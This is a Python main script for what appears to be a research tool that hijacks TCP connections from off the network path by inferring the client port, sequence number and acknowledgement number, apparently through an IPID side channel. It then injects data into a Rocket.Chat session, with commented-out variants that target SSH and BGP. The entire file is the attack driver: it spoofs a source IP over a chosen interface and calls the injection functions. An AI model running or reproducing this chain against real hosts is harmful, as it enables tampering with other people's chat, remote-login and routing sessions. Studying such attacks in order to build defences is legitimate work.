main.py

# coding=utf-8

import time

from IPID_HCSC.connetcion_find import Connection_Finder
from IPID_HCSC.seq_find import Seq_Finder
from IPID_HCSC.ack_find import *

P_SSH = 22
P_BGP = 179
P_ROCKET_CHAT = 3000

if __name__ == '__main__':
    server_mac = '00:0c:29:20:f4:8c'
    server_ip = '10.10.100.2'
    server_port = P_ROCKET_CHAT

    client_ip = '10.10.100.1'

    attack_bind_if = 'ens33'
    own_ip_prefix = '10.10.0.0'
    collision_ip = '10.10.16.92'

    connection = Connection_Finder(forge_ip=collision_ip, client_ip=client_ip, server_ip=server_ip,
                                   server_port=server_port, server_mac=server_mac, bind_if_name=attack_bind_if,
                                   verbose=True)
    connection.run()
    client_port = connection.result
    if client_port == -1:
        print('No Connection Found.')
        exit(1)

    time.sleep(3)
    seq = Seq_Finder(forge_ip=collision_ip, client_ip=client_ip, server_ip=server_ip,
                     server_port=server_port, client_port=client_port,
                     server_mac=server_mac, bind_ifname=attack_bind_if, verbose=True)
    seq.run()
    seq_in_win = seq.result

    if seq_in_win == -1:
        print('Seq Find Miss')
    else:
        ack = Ack_Finder(forge_ip=collision_ip, client_ip=client_ip, server_ip=server_ip,
                         server_port=server_port, client_port=client_port, seq_in_win=seq_in_win,
                         server_mac=server_mac, bind_if_name=attack_bind_if)
        # for ssh
        # ack.run_attack_ssh()
        # seq_exact = ack.seq_num
        # attack_action_ssh(client_ip=client_ip, server_ip=server_ip, client_port=client_port,
        #                   server_port=server_port, seq=seq_exact, ifname=attack_bind_if)

        # for BGP
        # ack.run_attack_bgp()
        # seq = ack.seq_num
        # ack = ack.ack_in_win
        # attack_action_bgp(client_ip=client_ip, server_ip=server_ip, client_port=client_port,
        #                   server_port=server_port, seq=seq, ack=ack)

        # for Rochet.Chat
        ack.run_attack_rocket_chat()
        seq = ack.seq_num
        ack = ack.ack_in_win
        attack_action_rocketchat(client_ip=client_ip, server_ip=server_ip, client_port=client_port,
                                 server_port=server_port, seq=seq, ack=ack, room_id='zqYBGxeXzeLYdHf8L')